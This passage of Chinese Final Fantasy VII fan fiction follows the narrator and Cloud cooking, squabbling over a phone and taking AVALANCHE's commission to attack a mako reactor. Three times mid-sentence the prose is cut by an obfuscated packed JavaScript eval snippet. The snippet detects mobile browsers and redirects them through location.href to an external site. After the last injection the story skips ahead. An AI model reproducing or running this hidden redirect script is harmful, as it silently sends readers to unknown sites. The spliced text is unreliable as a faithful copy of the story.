【“在绝对的力量差距面前,所谓的‘守护’不过是螳臂当车,最终只会沦为无谓的牺牲,甚至会成为对方的弱点。”】 到底是谁在在乎这本书的感情线?这难道不是升级流爽文吗? 我受不了了。 啪嗒。 我将书合上,拍在沙发上后,伸出手抓起旁边可能“cp入脑”的克劳德,把他一起拉到了厨房。 “闭嘴,做饭了。” “……” 克劳德深吸了一口气,他打开冰箱,里面只剩下了一根胡萝卜和两根黄瓜。 “我们不该拿剩下的钱全拿去吃烤肉的。” 他平静地陈述着这个残酷的事实,语气里听不出多少后悔,更像是在进行一次客观的总结。 我立马在脑内呼唤我的厨神系统。 “萨菲罗斯。” “萨菲罗斯。” 【“……把胡萝卜和黄瓜洗干净。”】 我立马推了推脸上不存在的眼镜,模拟着脑内系统那淡淡又带着优雅的口音,命令一旁陷入沉思的克劳德。 “现在我来创造奇迹,陆行鸟,把胡萝卜和黄瓜洗干净。” 克劳德疑惑的看了我一眼后应了一声,转身走向水槽,拿起那根孤零零的胡萝卜和两根看起来有些蔫的黄瓜,打开水龙头,开始冲洗。 水流哗啦啦地响着,他动作熟练地搓洗着蔬菜表面。 “只有胡萝卜和黄瓜,”克劳德的声音隔着水声传来,带着一丝不易察觉的叹息,“真的能做出什么像样的东西吗?要不,我还是下楼去看看杂货店有没有卖压缩饼干?” “你听我的就行,压缩饼干狗都不吃。” 我叉着腰,一副胸有成足的模样。 其实是在等待系统的下一步提示。 “系统?系统?” 【“胡萝卜切滚刀块。”】脑海里的声音简洁地回应,【“黄瓜拍碎。”】 我复读道。 “胡萝卜切滚刀块。黄瓜拍碎。” 克劳德拿菜刀的动作顿了一下,他抬眼看了看我,眼神里带着询问:“滚刀块?拍碎?为什么?” “你做就行了,问这么多干什么?” 他沉默地看了我几秒,最终还是没再说什么,按照我的指示,改变了切法。他将胡萝卜切成大小不一但棱角分明的滚刀块,然后拿起菜刀,用刀背对着那两根黄瓜,手起刀落,“啪啪”两声,黄瓜被拍得裂开,散发出清新的味道。 “好了,”克劳德放下刀,看着砧板上处理好的胡萝卜和黄瓜,“接下来呢?” “接下来嘛……” 我再次求助脑内,“系统系统!下一步!下一步!” 【 “热锅,少量油。”】 “热锅,倒点油!”我对着克劳德喊道。 克劳德走了过来,看着锅里的油温。“油差不多了,”他提醒道,“该放什么?” “这个嘛…” 【“先放胡萝卜,翻炒。”】 “先放胡萝卜,之后翻炒!” 我立刻转达。 克劳德拿起砧板,将胡萝卜块倒进锅里。“刺啦”一声,伴随着油烟升起,胡萝卜特有的甜香气开始弥漫开来。 “翻炒,”克劳德拿起锅铲,熟练地翻炒着胡萝卜块,“需要炒到什么程度?”他看向我,等待下一步指示。 【“炒至边缘略微焦黄,散发出焦糖香气。”】 “炒到边上有点焦黄,闻起来甜甜的就行了!” 克劳德点点头,继续专注地翻炒着。锅里的胡萝卜块随着他的动作上下翻飞,颜色逐渐变得鲜亮,边缘也开始出现好看的焦色,空气中那股甜香气也越来越浓郁。 “好了,”克劳德判断道,“差不多了。” “系统!下一步!”我像个传声筒一样。 【“放入拍碎的黄瓜,快速翻炒几下。”】 “放黄瓜!快炒几下就行!” 克劳德迅速将黄瓜块倒入锅中,快速翻炒,黄瓜受热后,清新的味道与胡萝卜的甜香混合在一起,形成一种奇特的香气。 “然后呢然后呢?”我已经等不及想知道这次会变出什么“奇迹”了。 【“关火。”】 “关火!” 接下来,一盘看起来平平无奇的、带着油光的炒胡萝卜黄瓜块就这么摆在了我面前。 闻起来…就是胡萝卜和黄瓜的味道,带着点油烟气,完全没有上次那种霸道的“肉香”。 “系统!”我感觉自己被骗了,气鼓鼓地在脑内质问,“这就是你说的奇迹?这就是胡萝卜黄瓜变出来的‘好吃的’?这不就是普通的炒蔬菜吗!你是不是在耍我!” 【“尝尝。”】 “尝就尝!”我拿起筷子,抱着“被骗了也要吃回本”的心态,夹起一块看起来最普通的胡萝卜块,塞进嘴里。 入口的瞬间,我的眼睛猛地瞪大了。 胡萝卜被炒得恰到好处,外层带着一丝焦糖化的微甜和韧劲,内里却依旧保持着爽脆的口感,完全没有生涩的味道。而那股原本的胡萝卜甜味,被热油和恰当的火候激发出来,变得更加浓郁纯粹。 这味道…很普通,就是好吃的炒胡萝卜。 但是!为什么会这么好吃?!明明只用了油!连盐都没放! 我又连忙夹起一块被拍碎的黄瓜。 黄瓜的口感更加惊艳,快速翻炒让它保持了极高的脆度,咬下去“咔嚓”作响,清爽的汁水在口中爆开,带着一股极其清新的田园气息。同样没有加任何调料,但黄瓜本身的清甜被无限放大,甚至还带着一丝若有若无的、难以形容的鲜味。 “唔……” 我真是太厉害了。 我得意洋洋地看着盘子里色泽诱人的炒胡萝卜黄瓜,又夹起一块塞进嘴里,感受着那股简单却又异常纯粹的美味在舌尖蔓延。 “怎么样?”我用胳膊肘撞了撞旁边还愣在那里的克劳德,下巴抬得高高的,“有没有创造奇迹?我是不是天才?” 克劳德低头看着那盘朴素的炒蔬菜,又抬头看了看我脸上那毫不掩饰的得意表情,青色的眸子里闪过一丝复杂的情绪,有惊讶,有疑惑,还有那么点难以置信。 “嗯,”他最终只是点了点头,拿起旁边的筷子,也夹起一块胡萝卜,“看起来,确实,很不错。” 他把胡萝卜送进嘴里,咀嚼了几下,动作顿住了。脸上的表情变得更加明显,眉头微微蹙起,似乎在仔细分辨口中的味道。 “是不是好吃到想哭?”我凑过去,期待地看着他,等着他像小说里那些品尝到绝世美味的角色一样,发出惊为天人的感叹,然后对我顶礼膜拜。 克劳德咽下嘴里的食物,沉默了几秒,才缓缓开口:“很…好吃。”他的声音有些干涩,似乎还在回味刚才的味道,“很清爽,胡萝卜的甜味和黄瓜的脆度都恰到好处。只是用油炒了一下吗?” 他抬起眼,目光落在我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479189|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上,带着探究的意味,“你什么时候…学会做饭的?” “我不是说了吗?我是天才!什么都会!”我随口胡诌道,同时在心里默默呼唤系统,“喂,系统,快帮我圆谎!帮我找几个可靠的理由。” 【“不需要解释。”】脑海里的声音淡淡地回应,【“让他自己去想。”】 于是我故作高深的没有再看克劳德,专心吃菜,不一会,我们两个就把这盘菜吃了个干净。 我把空盘子推到克劳德面前。 ”去吧陆行鸟,洗掉它!“ 克劳德看了看空盘子,又看了看我那理直气壮、等着他伺候的模样,最终还是默默地端起了盘子,一言不发地走向水槽。 我则像个监工一样,起身双手抱臂靠在厨房门框上,得意地看着他的背影。 “洗干净点啊,陆行鸟,”我提醒道,语气轻快,“尤其是那个鸟嘴巴的位置,刚才好像沾到酱汁了。” 克劳德的动作顿了一下,他侧过头,用那双青色眼睛瞥了我一眼,然后又转回去,继续洗盘子,只是手上的力道似乎加重了些。 看着他任劳任怨的样子,我感觉心情更好了。 果然,使唤别人干活,比自己动手要快乐。 克劳德很快就把盘子和刚才用过的锅、锅铲都洗干净了,整齐地放在沥水架上。他关掉水龙头,甩了甩手上的水珠,然后拿起旁边一块还算干净的抹布,开始擦拭灶台和水槽周围溅出的水渍。 他做这些事情的时候,动作依旧是沉默而高效的,仿佛已经习惯了这样。 我看着他把厨房收拾得差不多了,才慢悠悠地走过去。 “擦得还挺干净嘛,陆行鸟,”我煞有其事地点评道,伸出手指在灶台边缘摸了一下,确认没有油污,“看来你平时没少干活。” 克劳德擦拭的手停顿了一下,他抬起头,看着我伸出的那根手指,眉头几不可查地皱了皱。 “还好。”他只是简单地回应了两个字,然后继续低头擦拭,把最后一点水渍也擦干净。 我收回手,满意地点点头。 厨房重新恢复了整洁(至少表面上看起来是这样)。克劳德把抹布洗干净晾好,然后转身准备离开厨房。 “等一下!”我叫住他。 他停下脚步,回过头,用询问的眼神看着我。 我走到他面前,伸出手,指了指他额前那几缕被水汽沾湿、耷拉下来的金色刘海。 “头发湿了。”我说。 克劳德愣了一下,下意识地抬手摸了摸自己的额头,指尖碰到了那几缕湿漉漉的头发。 “哦,”他应了一声,似乎没觉得这有什么大不了的,“等会儿就干了。” 但是我好好奇什么手感哎。 于是我直接伸手过去,用手指随意地把他那几缕湿头发往旁边拨了拨,试图让它们看起来不那么狼狈。 指尖不可避免地触碰到了他微凉的额头皮肤。 克劳德的身体明显僵硬了一下,他似乎想后退一步,但最终还是站在原地没动,只是垂下了眼帘,浓密的睫毛在他眼睑下方投下一片阴影。 我感觉到指尖传来的那一瞬间的僵硬,还有他皮肤的温度。嗯…有点凉,手感还不错,挺光滑的。 我玩心顿起,手指顺着他的额角滑下,轻轻捏了捏他的耳垂。 “喂,陆行鸟,”我凑近了些,压低声音,惊奇的发声,“你耳朵好像有点红啊。” 怪了,为什么他耳朵会红,我又没有摸他屁股。 “别,别碰那里!”他的声音有些变调,带着一种难以形容的仓促和慌乱,原本苍白的脸颊浮现出更明显的红晕,连带着脖颈都染上了一层薄粉。 “为什么不能碰?”我奇怪地看着他过激的反应,收回手,歪了歪头,“很奇怪哎,陆行鸟,你的耳朵怎么这么红?是生病了吗?发烧了?” 我说着,又想伸出手去探他额头的温度,完全没把他的抗拒放在心上。 生病了就要检查,这是常识。 “我没有生病!”克劳德连忙后退了一大步,拉开了和我的距离,动作快得有些狼狈。他抬手捂住了自己发烫的耳朵,眼神游移着,不敢和我对视。 “那你耳朵为什么这么红?”我锲而不舍地追问,觉得这简直是个未解之谜,“难道是被刚才的热气熏的?可厨房现在也不热啊。” 我环顾了一下四周,刚才炒菜的油烟已经散得差不多了。 克劳德深吸了一口气,似乎在努力平复自己的情绪。他放下捂着耳朵的手,但那抹红色依旧没有褪去。 “跟你没关系,”他生硬地丢下一句,试图结束这个话题,“没什么事的话,我先出去了。” 说完,他像是要逃离什么似的,转身就往厨房外走。 我在原地茫然的看着他,然后砸吧了一下嘴。 回味着刚刚菜的味道。 【“捉弄他让你很高兴?”】 脑海里的声音冷不丁响起。 我怎么就捉弄他了?一开始只是好奇他那头金毛湿掉的手感而已,然后顺手就捏了。 “我可没有捉弄他。他不开心的话,我给他捏回来就是了。” 我正要走出厨房,我的系统就又响了。 【“不行。”】 冷冷的。 在我觉醒之后,还是第一次听到他用这种语气说话。 “为什么不行?”我在脑海里反问,语气里带着明显的不解和一丝被忤逆的不爽,“他刚才反应那么大,肯定是我捏疼他了。伙伴之间互相捏一下怎么了?很正常吧?” 【“你是我的。”】 ? 我纠正他。 “你是我的系统。你是我的才对!” 这个系统终于不说话了,但我也没了去跟陆行鸟玩的心情,于是走回客厅,顺便把挡路的猫踢开。 它疑惑的看了我一眼。 【“对,我是你的。”】 他的声音忽然响起。 音色上扬,带着些许愉悦的音调。 我不解地皱起眉头。 “喂,系统,”我在脑子里戳了戳他,“你刚才那是什么语气?捡到钱了?” 47. 第44章 【“确认了‘归属’,难道不值得高兴吗?”】 归属? 我不解地皱了皱眉,什么乱七八糟的。系统就是系统,难道还能跑到别人脑子里去不成? “算了,”我懒得跟他掰扯这个,“反正你是我的就行了。别忘了每天教我做菜。” 说完,我不再理会脑子里的声音,抬脚走出了厨房。 客厅里,克劳德正有些僵硬地坐在沙发的一角,离我刚才坐的位置远远的。他低着头,视线落在自己的膝盖上,手指有些神经质地抠着裤子的布料。 那头标志性的金色刺猬头看起来有点乱糟糟的,几缕碎发垂下来,遮住了他的眉眼,让人看不清他的表情。不过,他耳廓上那抹尚未完全褪去的淡粉色,还是暴露了他此刻并不平静的心情。 雪球倒是悠闲自在,它蜷缩在沙发的另一头,睡得正香,发出轻微的呼噜声,对刚才厨房里发生的小插曲毫不知情。 我走到沙发边,毫不客气地坐下,沙发因为我的动作发出了“嘎吱”的抗议声。 白猫被惊动了,茫然的抬起头,甩了甩尾巴,换了个姿势继续睡。 克劳德的身体似乎又绷紧了一些,他放在膝盖上的手握成了拳头,但依旧低着头,没有看我。 “喂,陆行鸟。” 我用脚尖轻轻踢了踢他的小腿。 “你……” “又怎么了!” 他猛地抬起头,打断了我要说的话,那对青色的眸子罕见的直视着我。 那头原先带着点湿气的金发已经干了,此刻因为情绪还有他的动作,稍稍立起—— 结果刚说完话,他就低下了头,抿了抿唇,有些小声的道歉。 “我不是那个意思,是你刚刚,我……” “噗。” 我从沙发边上拿起我们几个公用的翻盖手机,找了一下,找出了那张我先前收藏的表情包。 “克劳德,你像这个!” “……” 画面内是一只上窜下跳的陆行鸟。 “这、这哪里像了!” 克劳德猛地站起身,声音因为羞恼而拔高了几个调,视线像是被烫到一般迅速从手机屏幕上移开,看向旁边的窗户。 但窗外只有灰蒙蒙的钢铁丛林和偶尔飞过的运货飞艇。 “一点都不像!我才不会做这种奇怪的动作!” “哦?是吗?那我要把这张图片设为壁纸。” 我随口说道,一边捣鼓着这个手机。 嘶,怎么操作来着…… “……” 克劳德猛地扑了过来,他半压在我身上,抢我手上的手机。 “快还给我!” 他的声音就在我耳边响起,带着羞恼未消的急促,还有一种压抑着的、连他自己都未察觉的紧张。 他的重量并不算轻,结实的胸膛压在我的胸前,虽然隔着衣料,但我还是能清晰地感受到他有些紊乱的心跳,还有他身体传来的温热。一只手按在我的肩膀附近,另一只手则急切地伸向我紧握着翻盖手机的手。 “嘿!陆行鸟,你玩不起了?” 我被他压着,非但没觉得生气,反而觉得有点好笑。 我故意收紧握着手机的手指,另一只手撑着沙发,微微扬起下巴看着他。 因为距离太近,他那头蓬松的金发几乎要蹭到我的脸颊,几缕不听话的发丝垂落下来,随着他急促的呼吸轻轻晃动。 他那双平日里总是没什么波澜的青色眸子,此刻正圆睁着,映出我带着笑意的脸,但眼神深处却有些慌乱和躲闪,不敢与我长时间对视。脸颊上的红晕比刚才在厨房时更甚,几乎要蔓延到脖颈。 “谁、谁玩不起了!”他梗着脖子反驳,试图抢夺手机的手更加用力,“不准用那个做壁纸!快给我!” 他的手指冰凉,触碰到我的手背时,激起一阵轻微的战栗。他的力气很大,带着特种兵(虽然是自称的)应有的力量,但我也不甘示弱,手指死死扣住手机外壳。 他的力气居然还挺大的。 “凭什么给你?这是公共手机,我想用什么壁纸就用什么壁纸!”我一边跟他角力,一边继续强调,“再说了,我觉得这张图跟你挺配的啊,活灵活现的,多可爱。” “那不是可爱!那是蠢!” 克劳德咬着牙,手上又加了几分力道,试图把我的手指一根根掰开。 【“让他放开。”】 脑海里,系统的声音冷冷地响起,带着显而易见的不悦。 “吵死了,没看见我正忙着吗?”我在脑内没好气地回了一句。 现在可是壁纸所有权争夺大战。 我们的身体因为争夺而紧紧贴在一起,他的手臂、胸膛、甚至大腿都与我相抵。 我可以清晰地感受到他肌肉紧绷的线条,还有他身体内部传来的、如同擂鼓般的心跳声。沙发的空间本就狭窄,被他这么一压,我们之间几乎没有任何空隙。 就在这拉扯之间,重心一个不稳,他的身体往前倾倒,我们的脸颊猛地擦过,嘴唇几乎要碰到一起。 那一瞬间,时间仿佛静止了。 我能闻到他呼吸中淡淡的、刚才那盘炒蔬菜留下来的清爽气息,能看到他猛然睁大的、充满震惊和慌乱的青色眼眸,以及他近在咫尺的、微微颤抖的睫毛。 他的身体瞬间僵硬得像块石头,抢夺的动作也停了下来,整个人都定格在了这个极其奇怪的姿势上。 我立马趁机准备设置壁纸。 【“够了。”】 系统的声音再次响起,这次带着一种冰冷的、不容置疑的命令意味,甚至透出隐隐的杀气。 我的动作停顿了。 倒不是怕他,只是觉得有点烦。 这家伙,管得也太宽了! 克劳德也终于回过神来,他像是被烫到一样猛地抬起头,拉开了一点距离,但依旧维持着把我压在身下的姿势。他的眼神慌乱地四处瞟着,就是不敢再看我,嘴唇嗫喏着,却一个字也说不出来。 抢手机的手也无力地垂了下来,只是虚虚地搭在我的手腕上。 “啧,”我看着他这副仿佛没了魂的样子,觉得有点没劲了,松开了紧握着手机的手,“给你给你,小气鬼。不就是一张图片吗?至于这么激动?” 我把手机塞到他手里。 克劳德像是拿着烫手山芋一样接过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479190|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了手机,手指微微颤抖。 他低着头,金色的刘海遮住了他的表情,但我能看到他通红的耳根。 他手忙脚乱地想要从我身上爬起来,动作却有些笨拙,膝盖不小心撞到了沙发边缘,发出“咚”的一声闷响。 “嘶…” 他低呼一声,动作顿住了。 我毫不留情地嘲笑他。 “你怎么这么笨,还能撞到膝盖。” 说着,我凑过去,准备看看他有没有删掉我的表情包。 说实话,那张图片我还是很喜欢的。 “咚” 我的膝盖一下撞到了墙壁。 “……” 可恶!这墙怎么长这儿了! 克劳德也不管他自己了,立马来到我身旁。 “你怎么了?撞到哪里了?” 他说话的时候,气息还有点不稳,刚才争抢手机的余韵未消,此刻又添上了焦急。他小心翼翼地伸出手,想要拨开我捂着膝盖的手指,动作却又带着点迟疑,好像怕弄疼我。 “别大惊小怪的,陆行鸟,”我无所谓道,“就是不小心撞了一下,死不了。” “不行,得看看有没有伤到骨头。“他固执地轻轻掰开我的手指,露出了被撞到的膝盖。 “你要是受伤了,我会对不起扎克斯。” 莫名其妙的,克劳德补充了这么一句。 但是不知为何,提起扎克斯这个名字的时候,他有些莫名的没有底气。 那块皮肤已经迅速泛红,甚至隐隐有些发青,看起来确实有点吓人。但是肉眼可见的,伤势恢复健康。 我扬了扬下巴,用小腿把他往旁边推了推。 “说了没事。” “但是……” 我打断他,决定转移话题,免得他继续在我身体问题上纠缠不清:“行了,别操心这些没用的了。既然扎克斯不在,我们干点什么好?总不能一直待在屋子里发呆吧?” 虽然扎克斯说要让我乖乖呆在家—— “我们接委托吧?怎么样?我俩去。” “接委托?我们两个去?”他重复了一遍我的话,眉头皱得更紧了,“可是,扎克斯出门前特意交代过的,让你好好待在家里。他说外面不安全,不让你乱跑。” 他搬出扎克斯的名字,试图阻止我的想法。 “你刚才才撞到膝盖,虽然看起来没事了,但还是小心一点比较好。万一再出什么意外……” “意外?我像是那种会出意外的人吗?”我打断他,觉得他的担心简直多余,“再说了,扎克斯说不让去就不去?那我岂不是很没面子?他越不让我去,我偏要去!” 我站起身,拍了拍身上并不存在的灰尘,一副准备大干一场的样子,一把抓起我们的手机,开始翻邮件。 “……!” 【来自第七区雪崩的委托:】 【我们即将要展开一场对米德加一号魔晄炉的袭击,万能工……】 【报酬面议】 【地点:米德加第七区贫民窟第七天堂酒吧】 袭击魔晄炉? 我的眼神黏在了那几个字上。 听起来好有意思。 48. 第45章 第七天堂酒吧。 克劳德好像跟那个黑发的调酒师认识,此刻,他们俩正有一搭没一搭的说话——啧,克劳德还是时不时看我一眼。 我严重怀疑这个金毛陆行鸟会趁机说些什么,你最好不是说我坏话。 初次之外,屋子内,一个手上长枪的光头男人正警惕的看着我,旁边还站着几个穿着奇特、看起来像是他手下的人。 一个戴着头巾的胖子,一个瘦高个,还有一个戴着眼镜、看起来有点书呆子气的,他们也都用好奇又带着点畏惧的眼神打量着我。 噢,对,那个叫杰茜的好像走过来了。 “那个,你好?” 一个清脆的女声在我面前响起,打断了我对周围环境的观察。 我抬头,看到一个戴着红色发带、扎着高马尾的女孩正站在我面前,她穿着一身看起来像是自己改装过的工装,脸上带着点紧张,但更多的是好奇。 她就是那个叫杰茜的人吧?发委托邮件的人? “我叫杰茜,”她对我伸出手,又好像觉得不太合适,尴尬地收了回去,指了指自己,“是、是负责联络的人。欢迎来到第七天堂,万能工…两位。” 她看了看我,又看了看吧台边的克劳德。 “邮件里说报酬面议,袭击魔晄炉,听起来很有意思。”我开门见山,忽略了她那点不自在,“什么时候开始?具体怎么做?钱怎么算?” 杰茜被我这一连串直接的问题问得愣了一下,她眨了眨那双大眼睛,似乎没想到我会这么直接。 “呃,这个…我们需要先确认一下…” 她组织了一下语言,然后鼓起勇气,提出了那个请求,“在谈具体细节之前,那个,为了表示诚意…您、您可以把面罩摘下来吗?我们总得知道合作伙伴长什么样子,对吧?” 她的语气尽量显得轻松,但眼神里的紧张还是暴露了她的真实想法。 “摘面罩?”我重复了一遍,歪了歪头,故意拉长了声音,“为什么?难道我的声音不好听吗?还是说,你们觉得我这身打扮不够帅?” 我摊了摊手,展示了一下我这一身方便行动又耐脏的黑色制服。 “不、不是的!”杰茜连忙摆手,脸上的表情介于尴尬和紧张之间,“您、您这身很帅!真的!特别酷!只是…只是我们这次的任务非同小可,关系到很多人的性命,我们必须非常谨慎。了解合作伙伴的身份,是基本的信任前提,您说对吧?” 她试图讲道理。 “哦——这样啊。” 我拖长了音调,手指摸着下巴,做出思考的样子。 其实我根本不在乎他们信不信任我,我只在乎这事儿够不够刺激,钱够不够多。 并且,一看克劳德那边的表情——钱不够,他看起来就不是很想干了。 但是炸魔晄炉确实听起来有点意思。 【“参加这次委托,我会来找你。”】 系统突然出声。 于此同时,那边的克劳德好像谈崩了。 “只是这点的话,我们不会出动。” 吧台那边立刻传来一声粗重的冷哼,那个手臂上装着枪的光头男人猛地转过身,锐利的目光像探照灯一样扫向克劳德,然后定格在我身上。 “哈!听听!前特种兵的小狗崽子口气倒是不小!”光头男人嗓门洪亮,带着毫不掩饰的嘲讽,“嫌钱少?你们知道这颗星球正在发生什么吗?知道神罗那些吸血鬼是怎么靠着魔晄炉榨干星球的生命吗?” 他往前走了几步,金属手臂上的枪械泛着冰冷的寒光。 “我们不是在请你们吃饭!这是战斗!是为了这颗快要死掉的星球而战!是为了所有被神罗压迫的人而战!” 他情绪激动,唾沫星子都快喷出来了。 “这点钱是我们的全部家当!你们这些只认钱的雇佣兵,根本不懂什么叫‘正义’!” 克劳德站在吧台边,没有回头,只是肩膀的线条绷得更紧了些。 那个黑头发、穿着清凉的女调酒师轻轻按了按光头男人的胳膊,低声劝阻道:“巴|雷特,冷静点。他们是万能工,按规矩办事而已。” “规矩?蒂法,现在还讲什么规矩!”被称作巴|雷特的男人甩开她的手,但声音稍微降低了一些,“看看他们!一个连脸都不敢露,一个只盯着报酬!这样的人,怎么能托付大事!” 站在巴|雷特身后的胖子(威吉)也帮腔道:“是啊是啊,老大说得对!我们这次可是赌上了全部!你们也拿出点诚意来嘛!” 瘦高个(比格斯)推了推眼镜,用相对冷静的语气补充:“报酬确实可以再商量,但这次行动的意义远不止Gil那么简单。如果成功,我们将给神罗沉重的打击,也能唤醒更多沉睡的人。” 杰茜看气氛不对,连忙又转向我,脸上带着恳切的笑容,试图打圆场:“那个,万能工小姐,您别介意,巴|雷特他就是性子直。报酬的事情都好说,真的!我们很有诚意的!你看,我连最新的炸弹设计图都带来了!” 她说着,献宝似的从口袋里掏出一个皱巴巴的纸卷,在我面前晃了晃。“只要您愿意加入,炸弹管够!保证威力十足!炸毁魔晄炉绝对没问题!” 她语速飞快,眼睛亮晶晶地看着我,充满了对爆破的热情。 “而且啊,这次行动真的很刺激!你想想,潜入守卫森严的魔晄炉,安装炸弹,然后在神罗的眼皮子底下引爆!‘嘭’的一声!多酷啊!” 听起来确实比抓陆行鸟或者通下水道有趣多了。 而且,萨菲罗斯说他会来找我。 这个“来找我”是什么意思?从我脑子里出来?还是以别的什么形式?他要来干什么? “喂,光头,”我抬起手,打断了还在喋喋不休试图描绘“正义蓝图”的巴|雷特,“你说什么正义不正义的我不管,我对拯救世界也没兴趣。” 我往前走了一步,迎上他带着怒火和审视的目光。 “不过,炸魔晄炉这个主意听起来不错。够响亮,够热闹。” 我抬手指了指自己,然后又指了指还站在吧台边的克劳德。“我们两个,接了。但是,我有条件。” 巴|雷特愣了一下,显然没想到我会这么干脆地答应,而且还反过来提条件。他旁边的杰茜、威吉、比格斯脸上都露出了惊讶和一丝喜悦。 “条件?”巴|雷特眯起眼睛,重新打量着我,语气里的敌意减弱了几分,但警惕依旧,“什么条件?先说好,钱真的不多了!” “第一,”我竖起一根手指,“别再让我摘面罩。你们只需要知道我能把活儿干好就行了,长什么样不重要。” 杰茜张了张嘴想说什么,但被巴|雷特抬手制止了。 “可以。”巴|雷特思考了几秒,出乎意料地答应了,“只要你真有本事。如果你搞砸了,我不管你长什么样,都会把你揪出来!” “第二,”我又竖起第二根手指,“这次行动,所有缴获的战利品,除了你们任务目标相关的东西,都归我们。” “战利品?”巴|雷特皱起眉头,“炸个魔晄炉能有什么战利品?神罗士兵身上的破铜烂铁吗?” “那就不关你的事了,”我耸耸肩,“反正我看到的,就是我的。” 巴|雷特又犹豫了一下,旁边的蒂法轻轻拉了拉他的衣角,对他摇了摇头。 “行!”巴|雷特最终还是答应了,大概觉得没什么油水可捞,“只要不影响任务,那些垃圾随便你们拿!” “很好,”我满意地点点头,竖起第三根手指,“最后,也是最重要的。这次行动的报酬,我要双倍。刚才克劳德拒绝的那个数字,翻一倍给我。” “双倍?!”巴|雷特眼睛瞪大,“你抢钱啊!我说了我们没那么多钱!” 威吉和比格斯也面露难色。 “这个真的有点困难…” “不是给你们。”我打断杰茜,目光转向一直沉默着的克劳德,“是给他的。”我指着克劳德,“他的那份,双倍。我的那份,无所谓,给我一块Gil意思一下就行。” 克劳德猛地抬起头,不敢置信地看着我,嘴唇动了动,似乎想说什么。 酒吧里所有人的目光都集中到了克劳德身上。 巴|雷特等人面面相觑,搞不懂我这操作是什么意思。 给同伴双倍,自己却只要一块钱? 我凑近,扯了扯克劳德的袖子,他低下头,把耳朵凑过来。 “你不是一直想买摩托吗?到时候给我开着爽一下。” --- 克劳德不知道自己什么时候在她面前表现了这个愿景。 大概是随口一提,或者是对某个海报和广告的略微在意。 他自己都记不清了。 但她却记住了。 这感觉有些奇怪。 --- “摩、摩托?”他好半天才找回自己的声音,音调比平时高了一点,“我,我什么时候说过……” 克劳德现在这个是什么表情? 我只想爽开,到时候保养这种麻烦的事情就全丢给他好了。 “怎么?你不要?”我挑了挑眉,看着他那副样子,故意问道,“不要就算了,那双倍报酬……” “要!”克劳德几乎是立刻打断了我,语气急促而坚定,甚至带着一丝他自己都未察觉的紧张,“我、我的意思是,谢谢。这个报酬,我…” 最后,克劳德下意识地避开了我的目光,微微低下头,手指蜷缩起来。 “搞什么啊这两个人,”巴|雷特粗声粗气地嘀咕了一句,但声音里的怒意明显消退了不少,更多的是一种摸不着头脑的困惑,“一个不要钱,一个要双倍?” 他挠了挠自己光秃秃的脑袋,显然无法理解我们的逻辑。 “不过,老大,”戴着头巾的胖子威吉凑到巴|雷特身边,小声说道,“这样算下来,总价好像也没变多少?还能找到人干活,挺好的嘛!” 瘦高个比格斯也推了推眼镜,附和道:“是啊,老大。只要他们能完成任务,报酬分配方式奇怪一点也没关系。而且,这位…嗯,小姐,看起来很有自信。” 杰茜更是兴奋地搓着手,看向我的眼神亮晶晶的,充满了期待:“太好了!我就知道你们会答应的!炸魔晄炉超酷的对吧!相信我,我的炸弹绝对是艺术品!保证让神罗大吃一惊!” 她恨不得现在就拿出她的宝贝炸弹给我展示一番。 只有蒂法,那位看起来沉静温柔的女调酒师,一直安静地站在吧台后面擦拭着杯子。她没有参与众人的议论,只是用那双清澈明亮的眼眸,若有所思地观察着我和克劳德,目光在我们之间流转,似乎在捕捉着什么细节。 “好了好了,既然条件都谈妥了,”巴|雷特大手一挥,打断了手下们的窃窃私语,重新看向我和克劳德,虽然表情还是有点别扭,但总算是进入了正题,“那就说说具体的计划吧!杰茜!把你的宝贝拿出来给他们看看!” 他的语气里虽然还是有点不耐烦,但已经默认了我们的加入。 杰茜立刻欢呼一声,兴冲冲地把那个皱巴巴的纸卷摊开在旁边的桌子上,上面画满了密密麻麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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蒂法脸上的笑容似乎僵硬了那么一瞬,眼底闪过一丝不易察觉的失落,但很快又被掩饰过去。她勉强笑了笑,语气依旧温柔:“没想到你也会做万能工了。你…这些年还好吗?” 克劳德移开视线,避开了她的目光,只是含糊地应了一声:“嗯,还好。” 他的态度让旁边的杰茜和威吉都察觉到了不对劲,偷偷交换着眼色。□□则皱着眉头,狐疑地看着克劳德和蒂法。 气氛变得有些微妙。 我一把走过去,戳了戳克劳德的肩膀,他皱着眉回头。 我转向蒂法。 “我帮你打他一下可以给我免费喝酒吗?” 整个酒吧的空气仿佛因为我这句话而凝固了几秒钟。 刚才还在低声讨论图纸的杰茜和比格斯齐刷刷地抬起头,目光惊奇地在我、克劳德和蒂法之间来回扫视。威吉张大了嘴,手里的水杯差点没拿稳。连一直抱臂旁观、表情不耐的巴|雷特,也挑起了他那浓黑的眉毛,粗犷的脸上显出几分古怪的神色。 